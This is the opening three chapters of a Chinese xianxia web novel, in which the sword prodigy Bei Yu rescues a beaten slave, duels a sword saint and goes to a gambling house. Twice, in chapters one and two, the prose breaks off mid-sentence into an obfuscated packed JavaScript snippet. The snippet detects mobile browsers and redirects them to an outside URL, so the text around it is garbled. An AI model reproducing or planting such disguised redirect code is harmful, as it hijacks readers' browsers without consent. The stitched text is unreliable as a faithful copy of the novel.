《娶个仙尊做老婆》 1. 卷一·学宫试剑 开春四月,北境国的皇都天枢,迎来第一场盛事,浩瀚大地的无数少年,纷涌而至,迎接学宫的试剑大会,一场独属于天下江湖少年的盛会。 街头巷尾,高台阁楼,贩夫走卒,世家贵族,人人皆热衷议论此事,猜测谁会脱颖而出,成为学宫试剑大会的榜首。 其中,呼声最高的,是一位姑娘。 坐落天枢城南边的一座非常不起眼的小茶馆,正火热谈论着她。 “第一还能有谁?肯定是圣剑山的北羽!” “她天生仙骨,降生时千鸟相贺,万花齐开,八十一只仙鹤自丛松山林出,徘徊七日才散,神机堂的天机老人断言,此女有仙人之姿,会为此大陆千年来飞升第一人。” “这也不一定吧!一个小女子,能成仙?世上有仙吗?” 砰! 茶馆中正闲谈的众人,被巨大的拍桌声震得一愣,嘈杂的声音,顿时全消失了,只见一个被帘幕遮住的角落,走出一个带着帷帽的少年。 少年身姿高挑,挺拔如杨柳,一身蓝白相间的衣衫,气质格外脱俗。 他道:“世上当然有仙了!才过去三十年,竟然就有人忘了,云顶开金光,三千剑仙下凡赴东海驱魔,拯救天下的事迹。唉……白瞎了仙人救世一番,没被念好就罢了,连曾经的施以援手都被遗忘了。” 镜悬大陆海纳山川万物,却被人间战火,割据称王,一分成五块。 南北两境,东西二海,还有自称“天空之上,星辰倒悬”的星地。 时人调侃道,打南边走有天心女帝,独揽大权,打北边去有轩宸皇帝坐镇朝堂,去东海看一片神秘,去西海观无极宫主,而星地之中,神使降临。 天下霸主就这五位,一位巾帼须眉,一位老谋深算,一位神龙见尾,一位狂傲自大,一位自诩神明。 三十年前,行踪成迷的东海之主身亡。 万千魔气从东海裂峡涌出,瘴气惹恶疾,人间白骨遍地,若非天上剑仙临凡除魔,恐怕镜悬大陆早成了一个壮观坟墓,葬着亿万人。 刚刚大放厥词,质疑是否有仙的肉和尚,尴尬搓了把光秃秃的脑袋,“多谢小兄弟提醒。” 蓝衣少年一笑,取出三枚铜钱扔给旁边的小二,结了茶钱,“还有,北羽可不是一个小女子,她是北境乃至整片镜悬大陆悟性最高的剑客,哪怕今朝尚未成气候,来日也定是天下第一!” 说完,他往门口走去,有好事者在背后喊道,“这么替北羽说话,难道你认识她?人家可在万里之外的圣剑山,领不到你的情。” 少年挑挑眉,侧头撩起帽纱,漏出半张俊秀的脸,姣好若女,堪称漂亮。 “她不在圣剑山,她在学宫,待了快七年了。” ……………… 学宫。 檀香袅袅,从紫玉香炉中升起,香气蔓延这座完全用红木建造的吊脚小楼,主人的起居室,布置得雅致,新鲜的山茶花,摆在书案上。 头发半白的中年男子,举起花朵,怜爱之情从眼中溢出,与他肿胖的脸颊,健壮的体格,形成鲜明对比。 扑哧!蹲在地上,双手抱头的粉衣少女笑出声。 “夫子,别看了,苏老师是嫌弃这朵山茶花颜色不好,随手赠你罢了,绝非表达爱慕之情,您一把年纪了还惦记美色,知不知羞啊。” 海刀夫子不为所动,将山茶花别在衣襟上,问道:“北羽,世间武学分几境。〞 “六境。初悟、除尘、忘凡、虚空、羽化、逍遥游。” “嗯,不错。” 海刀夫子拿起戒尺,走到北羽面前,他脸上的肉一动一颤,一点没有学宫之主、当朝祭酒的风范,更像一个杀猪匠。 “人人都说你有仙人之姿,是因为你生来仙骨,体内蕴含仙人之气,但困于天地间上不去,所以被压制成逍遥游境界,又因为你是小婴儿,为了保护你免遭爆体而亡,仙骨自行封印,成了虚空境。 别人习武是一步步往上,而你开始就已经登顶,只需要靠修炼绝学冲破仙骨封印,就能真正羽化成仙,逍遥九天。” “这么好的天赋,整个世上找不到第二个,你师父白发剑圣,对你寄予厚望,可你近半年来,不练剑,不修内功,整日去偷鸡摸狗!” 他将眼一横,北羽轻车熟路伸出手,被狠狠打了三下。 “白天睡大觉,大半夜撺掇南戏霖、叶一片他们去抓猪烤肉吃,怂恿玄北离在赌坊输了一万两,你行径荒唐,简直造孽啊!” 他啪啪两尺,抽在北羽后背。 谁知,北羽却腆着脸,道:“打完没,玄北离还在不凡茶馆等着我呢。” 海刀夫子闻言,险些被气晕。 “试剑大会马上开始了,你除了玩就是玩,万一没赢得榜首,届时,圣剑山名声扫地,我看你怎么跟你师父交代!” 北羽揉揉蹲麻的腿,夺下戒尺,丢去一边,扮了个鬼脸:“输就输,反正你们只在乎我能不能成仙!” 她一溜烟跑了出去,从二十几米高的栏杆翻身而下,施展轻功,廊腰缦回,她一掠而过,轻盈如鸟儿飞过连片高楼,粉色衣诀翩舞,不过一炷香时间,竟然踏过小半个天枢城,将学宫远远抛在身后。 偶尔有路人看到她这只粉色彩蝶,也没有过多惊奇,毕竟这里可是北境皇都,能人异士如过江之鲫。 北羽稍微感觉有些累的时候,已经来到了城内最繁华的一条大街,朱雀南。 据说在这条街上从头走到尾,擦肩而过的能有十万路人。 十岁刚到天枢城时,北羽与同伴在不凡茶馆门前台阶一坐,认认真真数过一遭街上的人,从日出数到日落,并没有十万,顶多三万。 足见,世人总爱夸大其词。 北羽觉得,她也属于被夸大的一部分。 她将兔子面具戴到脸上,遮住面容,大摇大摆混入人流,走了数十步,前方忽然堵路,一大群人站着不走,发出熙熙攘攘的声音。 “看啊,那个富家少爷打人真狠,拿着鞭子抽他的奴仆半天了,血肉模糊也不停手。” “什么富家少年,没眼力,马车上标着徽呢,那位是镇北王府的宝贝疙瘩,金尊玉贵的小王爷,他千里迢迢从封地来皇都,肯定是参加试剑大会。” “哟!原来是他,听说他的老师,也是他的随身护卫,正是北境六剑圣之一,凰允念。” “岂止啊,雪颂剑圣李颂雪,也是他的表姐,这位小王爷纵横朝堂江湖,天不怕地不怕,就算当街抽死一个仆人,又能怎样!” 当街打死人,还能什么事都没有?北羽皱起眉,活生生的人命,怎能如此儿戏。 她挤到前排,只见一辆八匹骏马拉动的豪华马车停在路中央,衣锦华贵的高个少年,手持长鞭,不厌其烦,持续抽打跪在地上的一抹灰色人影。 灰衣人头戴铁笼,看不清脸,直直挺着腰杆,任其鞭笞,闷声不吭,像个不知疼痛的稻草人,血肉飞溅,鲜血淋漓的背部,依稀可见白骨,惨不忍睹, 北羽看得触目惊心。 “住手!” “住手!” 两道声音同时响起,一柄木剑穿过人群,直朝小王爷飞去,小王爷眼神一凛,手腕转动,一鞭卷住木剑。 真气碰撞,发出一声响。 青衫道人走过来,朝小王爷抱拳施礼,“这位公子,在下观你眉清目秀,天生富贵,应该衣食无忧,心情愉悦,为何难为这位小哥。” 小王爷竖起两只眼,将道人上下一扫,看清他腰间的飞鸟太极牌,嗤笑道:“我教训自己的奴隶,轮不到玄真道观的牛鼻子来管!” 青衫道人:“北境律法白纸黑字写着,即便家奴被主子打死,官府也要按律处罚杀人犯。公子何故下手这么狠,往死里打人。” “因为他驾车不稳,让茶水溅到本大爷的手上,烫到了我。” “就为这点小事,若公子不住手,在下就报官了。” 小王爷扬起一抹残忍的笑:“就算大理寺卿来了,我也照样教训我的奴才,想救他,除非你能拦下我。” 话毕,小王爷竟然弃鞭拔剑,雪亮的剑锋在阳光下闪耀光芒,镶嵌着七颗宝石,斩向灰衣人的脖颈。 围观的人们,有的瞪大眼,有的捂住脸,灰衣人叹口气,手指颤抖迎接死亡。 青衫道人大吃一惊,掐诀念道:“无涯,起!” 木剑应声而起,青衫道人纵身向前,及时挡下一击,小王爷猜到他会阻止,早有准备,抬起左掌狠狠打中他胸膛。 青衫道人揪住灰衣人衣领后退几米,吐出一口血,呢喃道:“碎冰掌,忘凡三境,我才二境,低了一头,有点打不过。” 他将左手内铜币抛起,飞鸟面朝上,是为大吉,便扭头对灰衣人道:“这位小哥,我今天救定你了,我叫玉怜真,你叫什么名字。” 灰衣人没有吭声。 玉怜真疑惑:“你是哑巴吗?” 灰衣人摇摇头,脑袋上的铁罩子发出碰撞声,站在他们身后的北羽,默默想道,这人定是额头撞铁片上了。 一看有打架的,周遭楼馆中的百姓纷纷探出头,一时间围观者成百上千,其中有几名世家公子认识小王爷,起哄道:“李一白,看来你的丑奴要出家当道士了,你要另找一个小奴隶咯!” 李一白登时恼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491598|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,众目睽睽之下,他不好下死手,索性解下腰间藏起的暗器,以真气催动。 三朵金花飞出,于空中绽开,射出五枚毒针。 此见血金花乃他高价购得,里面的剧毒,要三天后才起效果。 玉怜真挥剑挡针,不料,那毒针撞在剑上,竟裂成无数微刺,离他面容近在咫尺,无论如何也避不开了,吓得玉怜真闭眼,直呼完蛋。 可恶!卦象分明大吉,祖师爷保佑弟子啊! 一秒,两秒,没有感受到疼痛的玉怜真,眯开眼缝,那些密密麻麻的小黑刺,被一道真气牢牢挡住,停在他睫毛位置。 “回去!” 一声轻呵从头顶传来。 毒刺扑向李一白,玉怜真才反应过来,那是一道剑气,带着不可阻挡的凛冽之势。 李一白察觉不敌,大惊失色,“师父救我!” 车内的长者感受到剑意,猛地睁眼,一挥衣袖替李一白挡下毒刺,起身掀开车帘,“小白,你过分了。” 玉怜真抓着灰衣人躲到兔面具少女的身后,“女侠,多谢出手相救。” “不必客气。出门在外,路见不平,能帮就帮,广结善缘,此乃行走江湖的道理。” 北羽看向长者与李一白,“喂!你这个当师父的太不称职,徒弟下毒手你坐视不理,徒弟落下风你倒蹦出来护短。” 李一白怒道:“从哪来的小贱人,知道我是谁吗,敢打我!” 差点,他就命丧黄泉了! “你竟然还有脸骂我!” 北羽非常生气,原本她只想把李一白打到皮开肉绽吐血,现在,哼哼,打得他满地找牙,魂不附体! 李一白刚将剑锋对准北羽,就被她的剑气轰了出去,数十道透明的剑气萦绕北羽四周,观战者中不乏学武之人,见此都心中惊叹。 剑气化形,必须达到人剑合一的状态,并且对佩剑本身要求极高,非灵剑,非宝剑,难以藏气。 更厉害的是,北羽甚至没有带剑,剑意是从遥远的地方,来到她身边的。 她双手合拢,摆出花朵绽放的姿态,剑气聚拢,呈现出一棵梅花树模样,引得李一白身旁长者侧目。 长者目光无喜无悲,呢喃道:“小潭观梅悟一剑,意寒冷,心炽热,一花一木一枯荣。” 记忆中,那个转身离去的窈窕身影,一晃走了十五年。 原来,仍在学宫教书啊。 北羽挥手,梅花剑树腾飞。 感受到远超自己的剑意,李一白腿肚子直发软,但当着这么多人的面,他不想露怯,只能硬着头皮接下北羽一剑。 毫无疑问,没挡住。 “噗!” 他半跪在地上,呕出大口血。 不远处的玉怜真攥起拳头,表情兴奋,“耶!女侠替我报仇了。” 北羽咧开嘴笑了,“小弱鸡一个,也敢骂我,学宫随便一只鸟嘴巴啄两下,都比你的剑招厉害,还参加试剑大会呢,回家再练十年吧。” 李一白气得浑身血液逆流,指着北羽,双目充红,“报上你的名字!” “曲落落。” 北羽歪歪头。 镇北王到底是北境唯一的异姓王,手握兵权,坐镇一方,他的儿子,要谨慎地得罪。 傻子才报真名。 “好!好!姓曲的你,给我等着!” 李一白踉跄起身,长者也转身准备回车里,周遭人群也有散意。 “等等!谁让你走了。” 清亮的女音,勾住了看热闹的人们,北羽上前一步,“你吐的那口血,是还给玄真道观的那位朋友,可你骂我的债,我还没讨呢。” 李一白不可置信瞪大眼,这个女人简直疯了,打他一次不够,还要再打一次。 玉怜真赶忙凑到北羽旁边,小声说:“女侠,他好像是什么小王爷,得饶人处且饶人,我愿意白挨他一掌,那一剑你就当为自己打的。” “不行!他骂我犯的是口孽,罪在嘴巴上,不在躯体,你一个道士连这种道理都不懂吗。” 北羽负手而立,看向李一白,“你打不过我,我也不欺负你,让你师父替你上吧。” 可笑至极。 李一白已经不怕被揍了,他看北羽的眼神,像在看一个死人,嗓音也低沉了,“你知道我师父是谁吗。” “知道啊。”北羽眨眨眼,兔面具之下,是兴奋激动的神色。 “北境六剑圣之一,血凰剑圣,论剑术他在北境排第三,放眼天下可以排进前十,一招凤凰涅磐,能引漫天火色云霞。” “我,就要跟他打!” 她一字一顿道。 2. 卷一·学宫试剑 镜悬大陆崇尚武学,以六境划分实力,自三千剑仙下凡赴东海驱魔后,世人对武学的追求,进一步变为对剑道的追求。 南境天心女帝提拔了许多武学奇才,其中,南境护国圣女辰雪雪,位同副相。 北境轩宸皇帝也会在学宫试剑大会的前几名中,挑选一位培养为天枢禁军首领。 总之,修习剑道,有时候比寒窗苦读更接近权力,接近朝堂。 而剑圣,是以凡人之躯,修行习武,悟练剑道,所达到的最高境界。 北羽虽然一出生,就被视为仙人之姿,但毕竟,她才十五岁,声名远扬的只有资质,而非实力。 更何况,在场所有人,都不知道她是传闻中的“仙骨北羽”,可他们都知道,站在李一白身旁,容颜冷峻的中年人,是血凰剑圣,因为他的佩剑实在特殊,剑柄雕刻凤凰,通体莹红,剑鞘则是透明琉璃,天下仅此一柄。 旁人眼中,北羽从拔剑相助的侠女,变成了不知天高地厚的丫头片子。 “你?与我比剑?” 凰允念平淡开口,“你的师父姓木吗?” “不姓。但我那一剑,确实由一个姓木的剑客教的,她说,如果有一天碰上血凰剑圣,就替她挥出此剑,这是她授艺的唯一要求。” …… 凰允念沉默了一下,“既然不是她的徒弟,那就没有与我比剑的资格。” “前辈误会了,我不是执意跟您对剑,而是我们之间不得不战一场。”北羽挑眉,望向李一白,语气坚定,“我要你徒弟当众狠抽自己嘴巴一下,为刚才的辱骂向我道歉,我还要拿他打人的铁鞭,抽他十下,鞭鞭见血!” “放肆!”李一白震怒,“我乃镇北王之子,尔等何身份!” “呵!前天,三皇子的马车惊了妇孺,他尚且下车赔礼道歉,怎么着,你比皇子还厉害吗!”北羽伶牙俐齿,见他自持身份,便搬出皇室。 “仗着出身好,就觉得你跟别人不同,可以随意羞辱你以为的地位低下之人,甚至随便杀人,天枢城的皇子们,都没你嚣张!” 李一白几乎要气晕了。 凰允念眉头微皱,轩宸帝本就有些忌惮镇北王,任由这个少年说下去,周遭人一传十,十传百,落到有心人耳朵里,恐怕对王爷不利。 他看了眼李一白,反正徒弟被惯坏多年,受点教训也无妨。 “那就比一场。我只出半招,你若能挡住,便是你赢,小白会如你所愿道歉。” 北羽笑眯眯:“讲清楚,不只是道歉,还要抽嘴巴,挨鞭子。” 她取出一枚铜钱放在旁边商贩的摊位,踩着摆摊的木桌,借力登上高楼。 “前辈,上来吧!下面人太多,别误伤他们。” 她一路向上攀升,直到落在附近最高的楼阁之上。 凰允念抬眸,催动内力,手掌往地下一击,凭着反力,飞上北羽对面的楼阁。 他抽出了剑。 霎时,天空聚集起一片云霞。 准确的说,是他的剑意染红了白云。 下面看戏的路人啧啧赞叹。 “不亏是剑圣,光抽出剑就有奇观,真不敢想象,他的剑招强大到什么地步。” “是啊,剑势未成,剑意先动,真乃高手也。” “那个姑娘似乎没有带剑,如何与剑圣对剑?” 玉怜真听到替北羽着急,仰头吼道:“女侠!你要是没带剑,可以用我的剑!无涯是一把好剑!” 这话不假,他的无涯是师叔所赠,仅次于十大名剑,足以支撑北羽与剑圣过招。 “多谢!不过,我的剑,马上就来了!” 北羽眼睛亮的惊人,她望着凰允念,心跳如鼓,这可是剑圣,跟她师父差不多厉害的人物,师父整天说,她是仙骨,牛得不行。 今日,她倒要试试看,剑道初成的她,与剑圣差距有多大。 北羽深吸一口气,说出那一句话。 “剑来!” 百里之外,沉睡在学宫寒潭下的剑,感受到主人召唤,跃出水面,化为一道流光,划过天际,宛如白日坠星。 正在吊脚小楼读书的海刀夫子,吓了一跳;某处宅院里哐哐劈柴的两个少年,抬起头互相对视;赌坊外面斜倚栏杆耐心等待的玄北离,倏忽起身,赌坊里,正在摇骰子的美人一愣。 皇宫之内,正与国师下棋的轩宸帝,察觉身后的贴身内监有异,问道:“宣德,怎么了?” “回陛下,臣感受到两股剑意。” “哦,谁来了?” “表面如火炫彩,内里平静,是镇北王府的凰允念,他来天枢,大约是护送镇北王的独子,参加学宫试剑大会。” “嗯,那另一个来到帝都的高手是谁?” “回陛下,另一股剑意并非因人而生,而是剑本身的力量。” 轩宸帝捏棋子的手一滞,回过头看着宣德,“只有天下十大名剑,自带强大的剑意。这十柄名剑,唯有残仙、不见人间两把剑在天枢城内,它们的主人都非常年轻,按理,凰允念不会对晚辈出手。是谁?让凰允念拔剑。” 宣德公公微微一笑:“是学宫的残仙剑苏醒了,它的主人,起了战心。” 是的。 北羽,起了战心。 剑意铺天盖地,犹如狂风席卷而来,凰允念一惊,看见遥远的天边,飞来一道流星,稳稳落在对面女孩的手上。 一阵乐声飘渺传来。 似乎来自天上,似乎来自人间,声若游丝,无孔不入,无处不在。 凰允念神色微变,认真起来,“既然对剑,按规矩,你我先报名号师门,然后对剑。我,凰允念,雪颂城青山派,持剑,凤凰歌!剑名,玉山倾颓!” 漫天红霞骤然一淡,青山隐约浮现。 北羽:“前辈为何不用凤凰涅磐那一招?” “凤凰涅槃太强,别说半招,三分之一的剑势就足以让你碎成血块。” “可我就想见识一下……也罢,若玉山倾颓压不倒我,前辈就用凤凰涅磐吧。” “……这样的态度,即便你是学宫弟子,手握名剑,天资不俗,也过于狂妄了。报上师门,接招。” 北羽将残仙举起,“师门稍后再报,前辈,请接我一剑!” 她率先动身,过于冰冷的剑意使剑刃表面凝结霜花。 她只学过两套剑法,第一套一旦使出来,身份即刻暴露,既然凰允念不用最强的剑招,她何必给师父招惹麻烦,于是选择了第二套。 小潭问梅悟一剑,意坚韧,心冷却,一年一冬一磨炼,梅花始得香。 这是小潭梅花剑中的最强一剑招。 也是凰允念,永远忘不掉的那个女人,悟出的剑道。 往事浮现,凰允念带着一丝愤意,挥剑而下。 青山颓然倒下,一山之重,岂是一株梅树可挡,梅树碎裂,但花瓣冲向山体,嵌入内里,万千花瓣分割青山,裂开一道道缝隙。 此一回,平局。 凰允念惊讶,北羽淡然。 “你究竟是谁?”他问道,“如此年轻,竟然已经是虚空境,你的剑,又是天下十名剑中的哪一柄?” 北羽:“前辈先回答完我的问题,用出凤凰涅磐,我就回答你。” 他道:“能轻松挡下半招玉山倾颓,或许也能在三分之一的凤凰涅磐中活下去,我将如你所愿,使出最强的一剑,你的问题是什么?” “你跟苏暮杉是什么关系啊?” “谁?”凰允念轻皱眉头。 北羽急促道:“就是学宫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491599|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏师范,教我小潭梅花剑的女人,特别漂亮,额头有一朵梅花胎记,她跟你什么关系,非要定下学艺者碰上你,就必须展示梅花剑的规矩?我好奇很多年了。” 凰允念:“什么苏暮杉,不伦不类的假名。她叫木兰,曾经是我的未婚妻。” “啊!未婚妻!” 北羽来劲了,“那你们怎么没成婚,谁把谁抛弃了?我猜是她甩了你,但苏老师似乎对你念念不忘的。” 凰允念怔住,苦笑一声,念念不忘?真可笑。 “她是我的师妹,与我两小无猜,指腹为婚,但在我成为剑圣之后,她突然悔婚,留信一封说,她以为自己爱慕我的强大,实际上,只是嫉妒我剑术比她高,无法接受嫁给我,一辈子被我压一头。 从那之后,我再也没见过她。 她成为学宫师范后,又给我写了一封信,告诉我她终于悟出属于自己的剑道,可惜,仍旧达不到剑圣水准。如果我还爱她,且守身如玉,等到她成为剑圣,愿意踏着七彩祥云来娶我。” 北羽努力憋住笑意。 苏老师,真是十年如一日的特立独行。 凰允念觉得这件事一点也不好笑,在他的印象里师妹温顺乖巧,为他编剑穗,为他疗伤痛,是个难得的好姑娘。 不知从哪看了邪书,一朝转性,弃师门不顾,父命不从,宁愿颠沛流离,也不愿嫁给他。 多年过去,他仍旧难以释怀从小长大的老婆就那么没了的事,如今,他发现师妹的剑道,真的挺强,心里更有些不是滋味。 他抬头面向北羽:“轮到你回答我的问题了。” 北羽怕他骗她,道:“还请前辈先出剑。” 见她如此执着见识他的杀招,凰允念有点烦了,舞动凤凰歌,“九天玄凤,涅磐重生,万丈雷劫,无惧无畏!” 轰隆隆。 闪电割破云霞彩雾,霞红一瞬间变成了地狱的火焰,呈现凤凰姿态,引颈清鸣,雷霆万丈,剑势胜出方才十倍。 好强大。 好有压迫感。 北羽昂起头,发自内心感慨,不亏是剑圣啊。 她攥紧剑柄,迎头直上,霞光映得面具熠熠生辉,剑气竟从整座天枢城的草木、云端、泥土、山石等等中涌来。 万千剑气,凝结剑端,从何而来,从天下万物而来! 凰允念震惊:“天下之剑,万物之灵,难道你就是传说中的仙骨北羽,你手上的剑,就是传说中的仙剑!” “不错。” 北羽取下面具,终于坦白交代身份。 “我自三岁起便习剑,我在高山之处练剑,我在百花深处练剑,我在云海之巅练剑,我在九天瀑布练剑,山川万里,天下风光,我剑练于天下,剑意则取于万物,我手上这一柄剑,是世间最后一把仙剑,有传闻说我这个人,也会是世间最后一位仙人。 但如今剑仍是残仙剑,我仍是凡俗人,我的名字早就被天下人所知了。” “我叫北羽,怜雪城北家的女儿,学宫的弟子,师从北境第一,圣剑山白发剑圣!此剑,名为银龙啸!” 无形剑气化身白龙,翻腾云海,咆哮九天。 凰允念大笑三声,一扫平静如水之态,添了几分癫狂之色,“在很多年前,你师父白发剑圣同你一样的年纪,用太上忘情剑法第一式银龙啸,打败了我的师尊,是我青山派的耻辱之战。 今日,你又以银龙啸,对战我的三分之一凤凰涅磐,命运使然啊!” 北羽一愣,没想到师父跟凰允念居然曾有过节。 动真格的话,她确实打不过凰允念,但是,他只用三分之一的力,她总不能连人家的三分之一也打不过吧。 她要赢,必须赢。 否则,长这身仙骨,又有什么意思! 3. 卷一·学宫试剑 剑圣一剑的威力,究竟有多大呢? 北羽曾经见过师父白发剑圣出手,一道剑气,就削平了山峰。 那是年幼的她,第一次感受到顶尖剑客的强大。 今日,天枢城遇血凰,又开了一次眼界。 剑势袭来一刻,红色烈焰下是流动的寒意,北羽的眉毛凝结一层冷霜,银龙冲向火凤,白色鳞片下是少年的热。 冷热相撞,雷霆之中,风雨交加。 呃! 寒意突破护体真气,北羽接连后退,主动远离凰允念的剑气。 地面的玉怜真,只远远看到粉衣倩影被一击扫出十里,随后,凰允念收剑,稳当落地,依旧是平淡的神色,周围那么多人,他的眼里始终空空。 换句话说,他目中无人。 被对剑的仗势吓住的百姓,闭口不语。 玉怜真紧张地咽了口唾沫,犹豫着,要不要带灰衣人去找女侠,他的包袱里有几枚上好的疗伤丹药。 李一白面色发灰,僵硬扭头,看着凰允念,凰允念拿起车边的铁鞭,径直甩向李一白。 啪! 无比响亮的鞭笞声。 玉怜真眼珠子差点瞪出来,一旁灰衣人忍不住向前,伸出手却又放下。 十下鞭打,全部见血,硕大汗珠挂在李一白额头,他咬牙憋住惨叫。 此时,兔面具少女,回来了。 人群自动为她分开一条路,她走到玉怜真后面,拍他肩膀,示意无事。 玉怜真肃然起敬,“女侠,你究竟是哪位前辈,与剑圣过招竟然毫发无损。” 北羽摸了下几乎断掉的一根左肋,勉强一笑:“呵呵,前辈不敢当,我应该比你还小。” 凰允念将李一白拽到北羽面前,“扇吧,扇完道歉,我们就走。” 仇恨从李一白眼中溢出,他破罐子破摔,打了自己一巴掌,北羽哼了一声,他发出微弱声音,“对不起。” “你说什么!听不到!”北羽尖声道。 “我说对不起!” 北羽满意点头,“这就对了,做人别太嚣张,天枢城卧虎藏龙,今天你是碰上了本姑娘,明日若得罪更了不起的人物,麻烦更大。” “曲落落,我记住你了。” 李一白从喉咙里挤出这句话,凰允念拉住他的胳膊,朝北羽颔首,“来日,我会去拜访她。” “得嘞,我会转告她的。”北羽笑道。 好戏落幕,看热闹的人一哄而散。 玉怜真抱拳道:“在下玄真道观玉怜真,今日结识女侠,三生有幸,我身无长物只会算卦,若女侠不嫌弃,我愿为你算上三卦。” 北羽连忙摆手,“我不信那套。你排怜字辈,那认识白怜心吗?” “哦,女侠认识怜心师姐?真是缘分呢,我与师姐很相熟!” “太好了,你记住,白怜心在天下第一赌坊输给我三百两,两月期限内,她若不将钱给我,我便上玄真观砸她屋子!” “呃……我会转告师姐。”玉怜真尴尬挠挠头。 北羽扭头去看灰衣人,他背后已经贴上画着太极图的止血布,“你叫什么名字,在镇北王府还有亲人吗?如果有,我可以让学宫祭酒给镇北王写信,以免小王爷找他们茬。” “哇,女侠,你是学宫弟子,难怪这么厉害!” “玄真道观也很厉害啊,北境四大门派之一。”北羽嘴上回应着玉怜真,眼睛却盯着灰衣人,等他回答。 灰衣人低下脑袋,“我,我叫莫淮,是个孤儿。” 北羽愣了下,随即打圆场,“那你从此一身轻了,不用再被打被骂。” 她掏出钱袋,分了一半钱给莫淮。 “医馆疗伤一两银子,找铁匠弄开铁罩子十文钱,剩下的二十两,足够你随便做个小生意过日子。我有约在身,不陪二位多聊了。” 北羽向前跑去,一眨眼就消失不见,玉怜真傻傻挥手告别,忽然,一道熟悉的声音,由远及近。 “玉怜真,你在哪!掌教师叔,点人呢!玉怜真,快出来,要去国师庵了!” 玉怜真一个激灵,掌教师叔为人严苛,若他误事,必会挨罚。 于是,他手忙脚乱塞给莫淮两瓶药,“红色外敷,白色内服,一日三次,可替你省下不少医药费,江湖路远,在下告辞,莫淮兄,你我有缘再见!” 玉怜真小跑离开,川流不息的车马人群里,莫淮呆呆站着,一手拿药瓶,一手拿银子,铁罩子里的脸浮现迷茫。 过了一会儿。 他敲敲头上的铁罩,沿街寻找起打铁铺。 熙熙攘攘,纷纷扰扰,天枢城广纳人间万象,即便是一位剑圣出手的大事,也只能惊动这座帝都一时,像一枚石子投入水面,泛起波澜。 然后,归于平静。 北羽也只是在奔波途中恰好碰见剑圣,恰好有一个契机对剑,找到伙伴后,她立即将此事抛之脑后。 玄北离关怀道:“你碰见麻烦了吗?怎么把残仙叫出来了。” 北羽:“小插曲罢了,我们快去天下第一赌坊吧,一不留神竟然耽搁了半个时辰,风无霜怕是已经把云笙弦生吞活剥了!” 若非为了帮她打探消息,玄北离几人也不会在天下第一赌坊输了整整一万两。 这笔钱太大了。 南戏霖、叶一片的棺材本,玄北离五年的酒钱,以及她十几年的积蓄。 不把钱赢回来,她往后也用不着练剑习武,找一根绳吊死算了。 可恨风无霜作为天下第一赌坊最好的赌手,手黑脸硬,进了腰包的赌钱,没有吐出来的道理。 为了哄风无霜与她再赌一盘,她牺牲表兄云笙弦,用了美人计。 想到风无霜神鬼莫测的赌术,北羽实在为表兄捏把汗。 ………… 天下第一赌坊,非常嚣张的名字,也非常嚣张地占据东区最繁华的一块地皮,由三座巨大阁楼串联,一座是赌台,一座是歌台,一座是酒台。 它对面,则是天枢城最大的青楼,天香阁。 这一整条街,被称为鸠止渴。 常言道,吃喝嫖赌来鸠止渴这一条街便够了,这里是赌徒、酒徒、好色之徒的圣地。 北羽并非鸠止渴的常客。 兜里钱少,哪敢进销金窟,她和几个好友寻欢作乐,喜欢去名不见经传的小地方。 第一次迈进赌台,她就输得精光惨,现在负伤站在门口,心里更是紧张,玄北离硬把她架进去,“别打怵,离弦箭不回头。” 北羽支支吾吾。 一进去暖意香气扑面而来,金碧辉煌的装横,恍若宫殿。 围聚在大大小小赌桌前的半人半鬼,眼冒精光盯着五花十色的筹码,甘愿为此倾家荡产,抛妻弃子。 玄北离叫住一个伙计,“我们来见风神赌。” 伙计打量着二人衣饰,将眼白露出,“这里的人都是来见风神赌,想见识神之手,先玩十万两金!” 北羽:“我们跟风神赌约好了。” 伙计:“巧了,今天有八个客人,都说跟活祖宗有约定,你看,全在那张桌上赌金子呢。” 顺着伙计指的方向瞧去,正中央位置,摆着一张玉雕的桌子,围坐了八个人,皆是披金戴银,手边放着桃花筹码。 桃花筹码是天下第一赌坊最值钱的筹码,一片桃花瓣象征五十两金子,一朵就是二百五十两金子。 她收回目光。 “北离,我想走。” “不,你不想。” 玄北离深吸一口气,“笙弦还在里面,我们必须救他。否则,太不仗义了。” 北羽揪住头发,纠结起来,“除非砸了这里,或者拿剑抵押,不然,醉倒在温柔乡的风无霜不会出来。” 一边的伙计撇了二人一眼,拍拍手,招来几个打手,“他们要砸场子,丢出去。” “兄台,我开玩笑的。”北羽赶紧解释。 伙计认真道:“我觉得你不是在开玩笑,半个时辰前,我在后院看见你跟人对打了,你剑术很好。” 北羽哑然,玄北离把她护在身后,“我们又不是没钱,赌坊开门做生意的,你一个伙计随意驱赶客人是什么道理,老板在哪里?我要见他。” 伙计脸黑了,“老子就是赌坊的少东家。” 玄北离尴尬了,“少东家……穿得真是平易近人。” 少东家摸了摸身上的粗糙黑布衫,羞涩笑了,“无霜亲手做的呢。” 他看衣裳的样子浓情蜜意,北羽与玄北离对视一眼,心照不宣抿起唇,瞧这副痴相。 倏忽,一道咒骂声传来。 八人组成的巨富赌桌上,一个穿貂的粗旷男子蹦到桌面,破口大骂:“老子一连来了半个月,输了三十五万两黄金,白银更是雪花一样的撒,结果呢?连风无霜的影子都没见着。 一个摇骰子的臭丫头,故弄玄虚,哄抬身价! 还神赌呢,我呸!” 